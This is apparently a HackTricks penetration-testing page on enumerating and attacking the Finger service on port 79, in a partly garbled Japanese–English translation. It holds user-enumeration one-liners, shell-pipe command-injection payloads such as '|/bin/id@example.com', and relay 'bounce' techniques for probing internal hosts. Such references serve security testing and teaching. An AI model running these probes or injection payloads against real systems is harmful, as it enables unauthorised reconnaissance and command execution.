79 - Pentesting Finger
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
The Finger program/service is utilized for retrieving details about computer users. Typically, the information provided includes the user’s login name, full name, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity (idle time), the last instance mail was read by the user, and the contents of the user’s plan and project files.
From a pentesting perspective, Finger is still interesting because the protocol is extremely small, 人間が読める形式, and often implemented with レガシーなパースロジック. A デーモン may disclose:
- 現在ログインしているユーザー
- フルネーム / GECOS データ
- ホームディレクトリ、シェル、最終ログイン時刻、TTYs
.plan/.projectの内容- リレー挙動: 第一ホストを経由して第二ホストへ問い合わせを行う
デフォルトポート: 79
PORT STATE SERVICE
79/tcp open finger
列挙
バナーグラビング/基本接続
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79 # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79 # Long format, if the daemon supports it
このプロトコルは ASCII over TCP/79 で、通常 CRLF で終端され、応答後に server closes the TCP connection。実際には null query (\r\n) だけで現在のユーザー一覧を取得できることが多く、これは Nmap のデフォルト finger NSE スクリプトが行う処理でもあります。
User enumeration
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients
代わりに pentestmonkey の finger-user-enum を使用できます。いくつかの例:
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Finger enumeration における重要なニュアンスは、デーモンごとに厳密な応答フォーマットがないことです。finger-user-enum のようなツールは Solaris-style サービスに対してよく機能します。これは有効なユーザと無効なユーザで出力テキストのレイアウトが異なるためですが、ターゲットのデーモンが特殊な場合は、肯定的 と 否定的 の応答を手動で比較し、regexes を調整する必要があるかもしれません。
デーモンが標準的な Solaris/BSD の振る舞いをしていない場合に有用なプローブ:
# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79
# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79
# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79
Nmapでデフォルトスクリプトを使用してスクリプトを実行する
nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>
Nmapのfinger NSE scriptは安全で、現在のユーザー一覧を取得するために単にnull queryを送信します。より許容的なデーモンに対して広範なユーザー名推測を行いたい場合は、この手法をカスタムワードリストで拡張するか、fat-finger.nseのようなプロジェクトを使用することを検討してください。これらは1つのリクエストで複数の有力なアカウント名を送信し、ユーザー名/GECOSの一致を探します。
MetasploitはNmapより多くのトリックを使います
use auxiliary/scanner/finger/finger_users
Shodan
port:79 USER
コマンド実行
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
RFC 1288 は、Finger クエリへの応答として ユーザー制御のプログラム を実装が実行することを明示的に許可しており、これが古典的な |/bin/... 悪用の由来です。これは現在では稀ですが、カスタムまたはレガシーなデーモンを見つけた場合は、次の点を注意深くテストしてください:
- ユーザー名処理におけるシェルメタ文字
|programの実行が plan/project フックにあるか- バックエンドのラッパーがユーザー名をシェルスクリプトや CGI に渡していないか
また、Windows での client-side 悪用経路も忘れないでください: finger.exe は署名された LOLBIN で、リモートの Finger サーバーから TCP/79 上の任意のテキストを取得し、その出力を別のプロセスにパイプすることができます。これは post-exploitation より service enumeration に関連するよりもむしろ post-exploitation に関連する手法なので、シェル輸送のアイデアについては the Linux reverse-shell page を参照し、attacker tradecraft を模倣する際に覚えておいてください。
Finger Bounce
Use a system as a finger relay
finger user@host@victim
finger @internal@external
これは単なる実装上の奇妙さではありません: RFC 1288 は再帰的な @hostname 転送({Q2} クエリ)を定義しています。デーモンがリレイをサポートしている場合、中間サーバ があなたの代わりに2つ目の Finger 接続を開き、元のソケット経由でレスポンスを返します。つまり:
- あなたのホストは最終ターゲットに直接接続しない場合がある
- リレイは公開された Finger サービスから内部ユーザを列挙するために利用できる
finger-user-enumは-r <relay>でこれをネイティブにサポートしている
Example:
# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79
# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
If relaying works, それをinternal recon primitiveとして利用し、relayed outputをpublic daemonの直接出力と比較してください。フォーマットの違いやフィルタリングにより、relay pathが別のbackendやwrapperによって処理されているかどうかが判明することが多いです。
References
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


